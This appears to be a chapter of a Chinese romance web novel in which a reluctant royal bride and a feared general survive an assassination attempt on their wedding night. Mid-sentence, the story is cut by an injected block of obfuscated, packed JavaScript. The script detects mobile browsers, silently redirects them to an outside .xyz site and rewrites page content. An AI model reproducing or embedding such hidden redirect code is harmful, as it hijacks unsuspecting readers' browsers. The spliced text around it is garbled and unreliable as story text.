天盛四年,八月初三,晴,宜嫁娶。
即使入了夜,永安城内依旧热闹,酒楼内的客人正大声讨论着白天迎亲队伍抬着的一眼望不到头的嫁妆,街上的百姓也在打扫着爆竹留下的碎屑,有妇人抱着刚从街边捡起的红绸缎,一边跟身旁的人炫耀着白天领来的喜钱,一边说要给孩子做身衣服。
今日是当今圣上最宠爱的妹妹安乐长公主出嫁,嫁的还是大将军,宫里几天前就派人到街上布置,还派了兵将列队把守,每个士兵身上都缠着同样的大红绸缎,这会虽然都撤了,但喜庆的氛围却还未散。
安乐长公主南见雪平日里深居简出,鲜少在人前露面,见过她的人都说她生得倾国倾城,螓首蛾眉,明眸皓齿,气质清冷若皑皑冰霜,若皎皎明月。据说当年皇后将这位公主过继到膝下,便是见她粉雕玉琢招人疼,这些年更是将人捧在手心,甚至比亲儿女都要疼上两分。
京中倾慕长公主者众多,三不五时便有人向皇上、向太后求娶,但无一例外都被拒绝了,现如今这样仙子般的人出嫁,百姓便都来分喜气了。
而将军府内也同样的热闹,四处披红挂彩,宾客们推杯换盏,笑声不断,唯一冷清的只有新房。
倒不是人少,而是没人敢出声。
南见雪坐在妆台前,正捏着一个布娃娃不断揉圆捏扁,嘴里嘟嘟囔囔的不知在说什么,两条好看秀眉紧蹙,美目圆睁,气也气得极好看,只是正在做的事幼稚得很。
侍女清浅站在旁边,实在看不下去了,小声提醒了一句:“公主,您若实在不愿嫁,还是跑吧。”
话音刚落,就被南见雪瞪了一眼,他把手上的布娃娃往桌上重重一拍,怒道:“你居然怂恿我抗旨,这可是死罪!”
清浅看了一眼那个穿着龙袍的布娃娃,心说扎皇上小人也是死罪,但考虑到她家公主现在正在气头上,皇上又疼她,也没敢多嘴,而是讨好地笑了笑,将那个布娃娃往旁边推了推,拿起另一个递过去:“陛下也是疼您嘛。”
看见清浅递来的娃娃,南见雪更生气了,抢过来往桌上重重一摔,拳头就砸了上去:“大王八!讨厌鬼!”
那是个穿着盔甲的布娃娃,只是盔甲破破烂烂,五官更是歪歪扭扭,跟另一个精致到头发丝的皇帝娃娃比起来简直差了十万八千里,一点也不像女红精湛的南见雪做出来的东西。
清浅看她拿着娃娃泄愤,不敢说什么,只能去拿药和水来,省得她家公主一会骂得口渴,或者误伤了自己。
但南见雪显然很难消气,锤了一会还是不爽,于是目光落在了一旁的金簪上。
清浅见状连忙去拿了一把剪刀递过去,说:“公主,用这个吧。”
南见雪拿过剪刀,一把剪掉了布娃娃的头发:“秃头!诅咒你不举!”他说着剪刀往下,朝着娃娃两腿之间又是“咔嚓”一刀,娃娃瞬间裂成了两半。
清浅在一旁看得直呲牙,伸手接过剪刀,轻声道:“公主,一会驸马就来了,您还是趁早……做些准备吧。”
提到驸马,南见雪脸色更难看了。
他的驸马是现今的镇北将军梁启风,据说他十四岁从军,十七岁就带兵大败北勒,一战成名,此后又经无数战役,从无败绩,是大烈赫赫有名的战神,也是他皇兄——也就是当今皇上的好兄弟,当年皇上争位子时,梁启风也是帮了大忙的。
但就是这样一个本该炽手可热的香饽饽,却到现在还未娶亲。
原因无他,因为梁启风凶名在外,据说他在边境时每天都要出去杀一个北勒人,把脑袋拎回来放在餐桌上下饭,还会把眼珠子扣下来串一串当项链,好给未来的媳妇的当聘礼。
这么凶残一个人,有哪家好姑娘敢嫁的?
南见雪前不久才听人提起过,当时也没放心上,没成想他皇兄忽然一道圣旨下来,直接把这凶神砸他手里了。
他明明跟皇兄说过不嫁人的!
想到这,南见雪更气了,命令道:“让人在外头守着,今晚不准他进门。”
清浅闻言有些为难:“公主,这……这不好吧,今晚可是洞房花烛夜。”
南见雪气鼓鼓地看向她。
清浅立刻改口:“奴婢这就去安排,可……要是将军硬闯怎么办?这里怎么说也是将军府呀。”
“他敢硬闯,我就让他这辈子都不能人道!”南见雪说着狠狠攥了一下手中那半只的娃娃,然后重重丢到门口。
几乎是娃娃落地的瞬间,门就“吱呀”一声打开了。
一只骨节分明的手伸过去,将那半只娃娃捡了起来。
南见雪循着那只手往上看,目光掠过一身大红喜服,最终落在一张俊朗的脸上,两道剑眉斜飞入鬓,眉尾有道很浅的伤,给他添了几分凶煞,就连那双本该风流多情的桃花眼也压着阴翳,看上去像地府修罗索命来了。
来的正是梁启风。
南见雪下意识后退了一点,旋即又觉得有点丢人,于是挺直脊背,瞪了他一眼:“谁准你进来的?”
梁启风闻言晃了晃手上那半只已经破破烂烂的娃娃,嗤了一声:“怎么,我出入自己的府邸,还要向公主请示?”
南见雪皱着眉站起来,正要说点什么,就听见“嗖嗖”两声,梁启风侧身一躲,两支箭擦过梁启风手臂牢牢插到了地上,箭尾白羽还在微微震动。
南见雪见状脸色一变,喊道:“有刺客!快来——啊!!”
他话音未落,就感觉天旋地转,等回过神来的时候才发现自己整个人都被梁启风捞在怀里,方才坐着的地方也插了一支箭。
南见雪脸色瞬间白了,立时尖叫起来:“刺客!有刺客!!快来人啊——!!”
他叫起来声音又尖又大,活像唢呐成精。
梁启风被震得耳朵半聋,换做别人他就一掌劈晕了,但这是公主。
他忍了又忍,黑着脸喝道:“闭嘴!就几个刺客也值得你大呼小叫?”
南见雪被凶了,气呼呼横了他一眼:“不叫人难道要等死吗?”
他说着就要继续喊人,却被梁启风一把捂住了嘴。
“别吵。”梁启风咬牙道,“有我在,还能……”
话音未落,就见“咻咻”两道黑影从窗户跃进来,朝着他们就砍,屋外也响起刀剑相接的声音。
梁启风立刻抱起南见雪躲开了。
捂住自己的手消失,南见雪再次尖叫出声:“来人啊!!”
梁启风眉头狠狠一皱,沉着脸威胁道:“再吵把你打晕丢给他们!”
声音带着杀气,听上去比那两个刺客还恐怖几分,吓得南见雪连忙捂住自己的嘴,一脸惊恐地“唔唔唔”摇头。
两个刺客此时已经拔刀攻了上来,梁启风抱着人侧身躲过一个,另一个直接伸脚一踹,那刺客便飞出去,“嘭”一声摔在柜子上。
刺客见状立刻横刀砍过来,梁启风勾过一旁的灯架拦了一下,在对方砍出第二下之前抱着人飞速退了几步,低声道:“抱紧。”
南见雪吓得脑子一片空白,听见这两个字,身体立刻乖乖照做,两条手臂跟八爪鱼似的缠上梁启风的脖子,死死抱住了他。
梁启风被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560081|171375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
勒得呼吸一窒,刚想说点什么,但长刀已至眼前,他只能先抱着人躲开,顺手拔过南见雪发间的金钗对着那刺客颈侧重重刺进去,再用力一拔——
温热的鲜血瞬间溅了南见雪一脸。
南见雪几乎要晕过去了。
但梁启风没有给他晕的机会,抱着他又是一个转身,手中金钗如利箭射出,结果了另一个刺客的性命。
这时他才将人松开,但南见雪两只手臂还死死抓着他,看上去像是吓傻了。
梁启风皱眉:“松手。”
南见雪“啊?”了一声,梁启风只好沉着气,又重复了一遍:“死了,松手。”
南见雪几息后才反应过来他的意思,目光不自觉朝梁启风看的地方看过去,就见倒地的刺客血液正顺着地板缓缓流动过来,像是一条爬行的蛇,吓得南见雪原本松开些许的手臂瞬间又收紧了,惊恐地摇头:“我不、不下去!!”她说完,又想起来什么,抬手用袖子用力在脸上蹭了几下,脸上的妆和血瞬间混在一起,看上去有些狼狈。
梁启风皱着眉看她这模样,一点也没办法将她跟传说中那个冷若冰霜的安乐长公主联系在一起,甚至没办法和皇家联系到一起。
他记得去年安平长公主和皇上一同出巡遇刺,她当时不止能冷静应对,甚至还反杀了一个,怎么这个就知道吱哇乱叫,躲不会躲逃也不会逃,看上去傻得可以。
但傻归傻,的确很漂亮,抹开的血溅在他雪似的脸上,像是一朵又一朵、层层叠叠绽放的花。
只是这花并不香。
南见雪闻着鼻尖萦绕的血腥味,崩溃得脸色都要绿了,他擦了几下脸,实在赶不走这个味道,只能看向梁启风,颤着声音吐出几个字:“我、我要沐浴……”
这种情况还想着沐浴?
梁启风匪夷所思地看了南见雪一眼,再次确定了。
真的很傻。
“不可能。”梁启风一口回绝了他的要求,“老实呆着。”
他话刚说完,就见怀里的人眉头一皱,凶巴巴地瞪了他一眼,本来不算多强的气势因为颤抖的声音又弱了一节,调子像是在撒娇:“我现在就要沐浴!你不让我沐浴我明天就进宫跟皇兄告状!”
梁启风闻言眉头一皱,正要再说点什么,就见南见雪嘴一瘪,眼圈一下就红了。
梁启风:“……”
“等着。”梁启风说着就要把人放下,但南见雪却死活不肯下地,他只好把人放到桌上,自己出去了。
他人一走,南见雪立刻脱了染血的外衣丢到一旁,用还算干净的袖子抹了几下脸,嘴里还喊着清浅的名字。
但清浅没喊来,梁启风倒是很快回来了。
他手上拎着一把还在滴血的剑大步走进来,身上原本干净的喜服此时也染了大片的鲜血,有不少溅到他脸上,甚至挂在他睫毛上,随着他垂眼看南见雪的小动作颤了颤,最后滴在本就一片血色的脸上,流出一道极小的溪流。
南见雪闻着他身上愈发浓重的血腥味,瞬间明白他刚刚去做什么了,本就不好看的脸色越发惨淡,这回吓得整个人都僵住,呼吸也变得有些困难。
梁启风见他盯着自己发呆,皱着眉提醒了一句:“不是沐浴?去吧。”
“沐、沐浴。”南见雪听见他的话微微回神,声音还在发抖,眼神也开始飘忽,“你……你去!你去沐浴!”
梁启风瞬间沉下来:“刚刚不是你说要沐浴的?”
他话音刚落,就见眼前人忽然身子一软,忽然倒在了他怀里。
梁启风:“……?”